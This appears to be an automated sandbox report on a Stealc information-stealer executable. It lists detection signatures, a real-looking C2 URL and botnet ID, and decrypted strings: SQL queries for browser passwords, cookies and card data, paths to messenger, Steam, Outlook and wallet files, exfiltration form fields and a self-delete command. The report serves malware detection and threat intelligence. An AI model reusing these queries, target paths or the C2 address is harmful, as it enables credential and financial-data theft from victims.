Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546392
MD5: 508dc49e57681ea817bd36f9770ad609
SHA1: d3cb94f703fa7549d47d9984393c34413bacb53f
SHA256: bd37eb6db999d3f29ae806b66fb66d0f8e378b6b9169ecb9b7b7ed7308c0c7bf
Tags: exeuser-Bitsight
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Found malware configuration
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Program does not show much activity (idle)
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection

barindex
Source: file.exe Avira: detected
Source: 0.2.file.exe.180000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: file.exe Joe Sandbox ML: detected
Source: 0.2.file.exe.180000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.180000.0.unpack String decryptor: 30
Source: 0.2.file.exe.180000.0.unpack String decryptor: 11
Source: 0.2.file.exe.180000.0.unpack String decryptor: 20
Source: 0.2.file.exe.180000.0.unpack String decryptor: 24
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetProcAddress
Source: 0.2.file.exe.180000.0.unpack String decryptor: LoadLibraryA
Source: 0.2.file.exe.180000.0.unpack String decryptor: lstrcatA
Source: 0.2.file.exe.180000.0.unpack String decryptor: OpenEventA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateEventA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CloseHandle
Source: 0.2.file.exe.180000.0.unpack String decryptor: Sleep
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.180000.0.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.180000.0.unpack String decryptor: VirtualFree
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetSystemInfo
Source: 0.2.file.exe.180000.0.unpack String decryptor: VirtualAlloc
Source: 0.2.file.exe.180000.0.unpack String decryptor: HeapAlloc
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetComputerNameA
Source: 0.2.file.exe.180000.0.unpack String decryptor: lstrcpyA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetProcessHeap
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetCurrentProcess
Source: 0.2.file.exe.180000.0.unpack String decryptor: lstrlenA
Source: 0.2.file.exe.180000.0.unpack String decryptor: ExitProcess
Source: 0.2.file.exe.180000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetSystemTime
Source: 0.2.file.exe.180000.0.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.180000.0.unpack String decryptor: advapi32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: gdi32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: user32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: crypt32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: ntdll.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetUserNameA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateDCA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetDeviceCaps
Source: 0.2.file.exe.180000.0.unpack String decryptor: ReleaseDC
Source: 0.2.file.exe.180000.0.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.180000.0.unpack String decryptor: sscanf
Source: 0.2.file.exe.180000.0.unpack String decryptor: VMwareVMware
Source: 0.2.file.exe.180000.0.unpack String decryptor: HAL9TH
Source: 0.2.file.exe.180000.0.unpack String decryptor: JohnDoe
Source: 0.2.file.exe.180000.0.unpack String decryptor: DISPLAY
Source: 0.2.file.exe.180000.0.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.180000.0.unpack String decryptor: http://185.215.113.206
Source: 0.2.file.exe.180000.0.unpack String decryptor: bksvnsj
Source: 0.2.file.exe.180000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.180000.0.unpack String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.180000.0.unpack String decryptor: tale
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetFileAttributesA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GlobalLock
Source: 0.2.file.exe.180000.0.unpack String decryptor: HeapFree
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetFileSize
Source: 0.2.file.exe.180000.0.unpack String decryptor: GlobalSize
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.180000.0.unpack String decryptor: IsWow64Process
Source: 0.2.file.exe.180000.0.unpack String decryptor: Process32Next
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetLocalTime
Source: 0.2.file.exe.180000.0.unpack String decryptor: FreeLibrary
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.180000.0.unpack String decryptor: Process32First
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.180000.0.unpack String decryptor: DeleteFileA
Source: 0.2.file.exe.180000.0.unpack String decryptor: FindNextFileA
Source: 0.2.file.exe.180000.0.unpack String decryptor: LocalFree
Source: 0.2.file.exe.180000.0.unpack String decryptor: FindClose
Source: 0.2.file.exe.180000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.180000.0.unpack String decryptor: LocalAlloc
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetFileSizeEx
Source: 0.2.file.exe.180000.0.unpack String decryptor: ReadFile
Source: 0.2.file.exe.180000.0.unpack String decryptor: SetFilePointer
Source: 0.2.file.exe.180000.0.unpack String decryptor: WriteFile
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateFileA
Source: 0.2.file.exe.180000.0.unpack String decryptor: FindFirstFileA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CopyFileA
Source: 0.2.file.exe.180000.0.unpack String decryptor: VirtualProtect
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetLastError
Source: 0.2.file.exe.180000.0.unpack String decryptor: lstrcpynA
Source: 0.2.file.exe.180000.0.unpack String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.180000.0.unpack String decryptor: GlobalFree
Source: 0.2.file.exe.180000.0.unpack String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.180000.0.unpack String decryptor: GlobalAlloc
Source: 0.2.file.exe.180000.0.unpack String decryptor: OpenProcess
Source: 0.2.file.exe.180000.0.unpack String decryptor: TerminateProcess
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.180000.0.unpack String decryptor: gdiplus.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: ole32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: bcrypt.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: wininet.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: shlwapi.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: shell32.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: psapi.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.180000.0.unpack String decryptor: SelectObject
Source: 0.2.file.exe.180000.0.unpack String decryptor: BitBlt
Source: 0.2.file.exe.180000.0.unpack String decryptor: DeleteObject
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdiplusStartup
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdiplusShutdown
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipDisposeImage
Source: 0.2.file.exe.180000.0.unpack String decryptor: GdipFree
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.180000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.180000.0.unpack String decryptor: CoUninitialize
Source: 0.2.file.exe.180000.0.unpack String decryptor: CoInitialize
Source: 0.2.file.exe.180000.0.unpack String decryptor: CoCreateInstance
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptDecrypt
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptSetProperty
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.180000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetWindowRect
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetDesktopWindow
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetDC
Source: 0.2.file.exe.180000.0.unpack String decryptor: CloseWindow
Source: 0.2.file.exe.180000.0.unpack String decryptor: wsprintfA
Source: 0.2.file.exe.180000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.180000.0.unpack String decryptor: CharToOemW
Source: 0.2.file.exe.180000.0.unpack String decryptor: wsprintfW
Source: 0.2.file.exe.180000.0.unpack String decryptor: RegQueryValueExA
Source: 0.2.file.exe.180000.0.unpack String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.180000.0.unpack String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.180000.0.unpack String decryptor: RegCloseKey
Source: 0.2.file.exe.180000.0.unpack String decryptor: RegEnumValueA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.180000.0.unpack String decryptor: CryptUnprotectData
Source: 0.2.file.exe.180000.0.unpack String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.180000.0.unpack String decryptor: ShellExecuteExA
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetConnectA
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetCloseHandle
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetOpenA
Source: 0.2.file.exe.180000.0.unpack String decryptor: HttpSendRequestA
Source: 0.2.file.exe.180000.0.unpack String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetReadFile
Source: 0.2.file.exe.180000.0.unpack String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.180000.0.unpack String decryptor: StrCmpCA
Source: 0.2.file.exe.180000.0.unpack String decryptor: StrStrA
Source: 0.2.file.exe.180000.0.unpack String decryptor: StrCmpCW
Source: 0.2.file.exe.180000.0.unpack String decryptor: PathMatchSpecA
Source: 0.2.file.exe.180000.0.unpack String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.180000.0.unpack String decryptor: RmStartSession
Source: 0.2.file.exe.180000.0.unpack String decryptor: RmRegisterResources
Source: 0.2.file.exe.180000.0.unpack String decryptor: RmGetList
Source: 0.2.file.exe.180000.0.unpack String decryptor: RmEndSession
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_open
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_step
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_column_text
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_finalize
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_close
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.180000.0.unpack String decryptor: encrypted_key
Source: 0.2.file.exe.180000.0.unpack String decryptor: PATH
Source: 0.2.file.exe.180000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: NSS_Init
Source: 0.2.file.exe.180000.0.unpack String decryptor: NSS_Shutdown
Source: 0.2.file.exe.180000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.180000.0.unpack String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.180000.0.unpack String decryptor: PK11_Authenticate
Source: 0.2.file.exe.180000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.180000.0.unpack String decryptor: C:\ProgramData\
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.180000.0.unpack String decryptor: browser:
Source: 0.2.file.exe.180000.0.unpack String decryptor: profile:
Source: 0.2.file.exe.180000.0.unpack String decryptor: url:
Source: 0.2.file.exe.180000.0.unpack String decryptor: login:
Source: 0.2.file.exe.180000.0.unpack String decryptor: password:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Opera
Source: 0.2.file.exe.180000.0.unpack String decryptor: OperaGX
Source: 0.2.file.exe.180000.0.unpack String decryptor: Network
Source: 0.2.file.exe.180000.0.unpack String decryptor: cookies
Source: 0.2.file.exe.180000.0.unpack String decryptor: .txt
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.180000.0.unpack String decryptor: TRUE
Source: 0.2.file.exe.180000.0.unpack String decryptor: FALSE
Source: 0.2.file.exe.180000.0.unpack String decryptor: autofill
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.180000.0.unpack String decryptor: history
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.180000.0.unpack String decryptor: cc
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.180000.0.unpack String decryptor: name:
Source: 0.2.file.exe.180000.0.unpack String decryptor: month:
Source: 0.2.file.exe.180000.0.unpack String decryptor: year:
Source: 0.2.file.exe.180000.0.unpack String decryptor: card:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Cookies
Source: 0.2.file.exe.180000.0.unpack String decryptor: Login Data
Source: 0.2.file.exe.180000.0.unpack String decryptor: Web Data
Source: 0.2.file.exe.180000.0.unpack String decryptor: History
Source: 0.2.file.exe.180000.0.unpack String decryptor: logins.json
Source: 0.2.file.exe.180000.0.unpack String decryptor: formSubmitURL
Source: 0.2.file.exe.180000.0.unpack String decryptor: usernameField
Source: 0.2.file.exe.180000.0.unpack String decryptor: encryptedUsername
Source: 0.2.file.exe.180000.0.unpack String decryptor: encryptedPassword
Source: 0.2.file.exe.180000.0.unpack String decryptor: guid
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.180000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.180000.0.unpack String decryptor: cookies.sqlite
Source: 0.2.file.exe.180000.0.unpack String decryptor: formhistory.sqlite
Source: 0.2.file.exe.180000.0.unpack String decryptor: places.sqlite
Source: 0.2.file.exe.180000.0.unpack String decryptor: plugins
Source: 0.2.file.exe.180000.0.unpack String decryptor: Local Extension Settings
Source: 0.2.file.exe.180000.0.unpack String decryptor: Sync Extension Settings
Source: 0.2.file.exe.180000.0.unpack String decryptor: IndexedDB
Source: 0.2.file.exe.180000.0.unpack String decryptor: Opera Stable
Source: 0.2.file.exe.180000.0.unpack String decryptor: Opera GX Stable
Source: 0.2.file.exe.180000.0.unpack String decryptor: CURRENT
Source: 0.2.file.exe.180000.0.unpack String decryptor: chrome-extension_
Source: 0.2.file.exe.180000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.180000.0.unpack String decryptor: Local State
Source: 0.2.file.exe.180000.0.unpack String decryptor: profiles.ini
Source: 0.2.file.exe.180000.0.unpack String decryptor: chrome
Source: 0.2.file.exe.180000.0.unpack String decryptor: opera
Source: 0.2.file.exe.180000.0.unpack String decryptor: firefox
Source: 0.2.file.exe.180000.0.unpack String decryptor: wallets
Source: 0.2.file.exe.180000.0.unpack String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.180000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.180000.0.unpack String decryptor: ProductName
Source: 0.2.file.exe.180000.0.unpack String decryptor: x32
Source: 0.2.file.exe.180000.0.unpack String decryptor: x64
Source: 0.2.file.exe.180000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.180000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.180000.0.unpack String decryptor: ProcessorNameString
Source: 0.2.file.exe.180000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.180000.0.unpack String decryptor: DisplayName
Source: 0.2.file.exe.180000.0.unpack String decryptor: DisplayVersion
Source: 0.2.file.exe.180000.0.unpack String decryptor: Network Info:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - IP: IP?
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Country: ISO?
Source: 0.2.file.exe.180000.0.unpack String decryptor: System Summary:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - HWID:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - OS:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Architecture:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - UserName:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Computer Name:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Local Time:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - UTC:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Language:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Keyboards:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Laptop:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Running Path:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - CPU:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Threads:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Cores:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - RAM:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - Display Resolution:
Source: 0.2.file.exe.180000.0.unpack String decryptor: - GPU:
Source: 0.2.file.exe.180000.0.unpack String decryptor: User Agents:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Installed Apps:
Source: 0.2.file.exe.180000.0.unpack String decryptor: All Users:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Current User:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Process List:
Source: 0.2.file.exe.180000.0.unpack String decryptor: system_info.txt
Source: 0.2.file.exe.180000.0.unpack String decryptor: freebl3.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: mozglue.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: msvcp140.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: nss3.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: softokn3.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: vcruntime140.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Temp\
Source: 0.2.file.exe.180000.0.unpack String decryptor: .exe
Source: 0.2.file.exe.180000.0.unpack String decryptor: runas
Source: 0.2.file.exe.180000.0.unpack String decryptor: open
Source: 0.2.file.exe.180000.0.unpack String decryptor: /c start
Source: 0.2.file.exe.180000.0.unpack String decryptor: %DESKTOP%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %APPDATA%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %USERPROFILE%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.180000.0.unpack String decryptor: %RECENT%
Source: 0.2.file.exe.180000.0.unpack String decryptor: *.lnk
Source: 0.2.file.exe.180000.0.unpack String decryptor: files
Source: 0.2.file.exe.180000.0.unpack String decryptor: \discord\
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.180000.0.unpack String decryptor: key_datas
Source: 0.2.file.exe.180000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.180000.0.unpack String decryptor: map*
Source: 0.2.file.exe.180000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.180000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.180000.0.unpack String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.180000.0.unpack String decryptor: Telegram
Source: 0.2.file.exe.180000.0.unpack String decryptor: Tox
Source: 0.2.file.exe.180000.0.unpack String decryptor: *.tox
Source: 0.2.file.exe.180000.0.unpack String decryptor: *.ini
Source: 0.2.file.exe.180000.0.unpack String decryptor: Password
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.180000.0.unpack String decryptor: 00000001
Source: 0.2.file.exe.180000.0.unpack String decryptor: 00000002
Source: 0.2.file.exe.180000.0.unpack String decryptor: 00000003
Source: 0.2.file.exe.180000.0.unpack String decryptor: 00000004
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.180000.0.unpack String decryptor: Pidgin
Source: 0.2.file.exe.180000.0.unpack String decryptor: \.purple\
Source: 0.2.file.exe.180000.0.unpack String decryptor: accounts.xml
Source: 0.2.file.exe.180000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.180000.0.unpack String decryptor: token:
Source: 0.2.file.exe.180000.0.unpack String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.180000.0.unpack String decryptor: SteamPath
Source: 0.2.file.exe.180000.0.unpack String decryptor: \config\
Source: 0.2.file.exe.180000.0.unpack String decryptor: ssfn*
Source: 0.2.file.exe.180000.0.unpack String decryptor: config.vdf
Source: 0.2.file.exe.180000.0.unpack String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.180000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.180000.0.unpack String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.180000.0.unpack String decryptor: loginusers.vdf
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Steam\
Source: 0.2.file.exe.180000.0.unpack String decryptor: sqlite3.dll
Source: 0.2.file.exe.180000.0.unpack String decryptor: browsers
Source: 0.2.file.exe.180000.0.unpack String decryptor: done
Source: 0.2.file.exe.180000.0.unpack String decryptor: soft
Source: 0.2.file.exe.180000.0.unpack String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.180000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.180000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.180000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.180000.0.unpack String decryptor: https
Source: 0.2.file.exe.180000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.180000.0.unpack String decryptor: POST
Source: 0.2.file.exe.180000.0.unpack String decryptor: HTTP/1.1
Source: 0.2.file.exe.180000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.180000.0.unpack String decryptor: hwid
Source: 0.2.file.exe.180000.0.unpack String decryptor: build
Source: 0.2.file.exe.180000.0.unpack String decryptor: token
Source: 0.2.file.exe.180000.0.unpack String decryptor: file_name
Source: 0.2.file.exe.180000.0.unpack String decryptor: file
Source: 0.2.file.exe.180000.0.unpack String decryptor: message
Source: 0.2.file.exe.180000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.180000.0.unpack String decryptor: screenshot.jpg
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_00199030
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_0018A210
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018A2B0 CryptUnprotectData,LocalAlloc,LocalFree, 0_2_0018A2B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001872A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_001872A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat, 0_2_0018C920
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1685626986.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726930523.00000000001AC000.00000040.00000001.01000000.00000003.sdmp
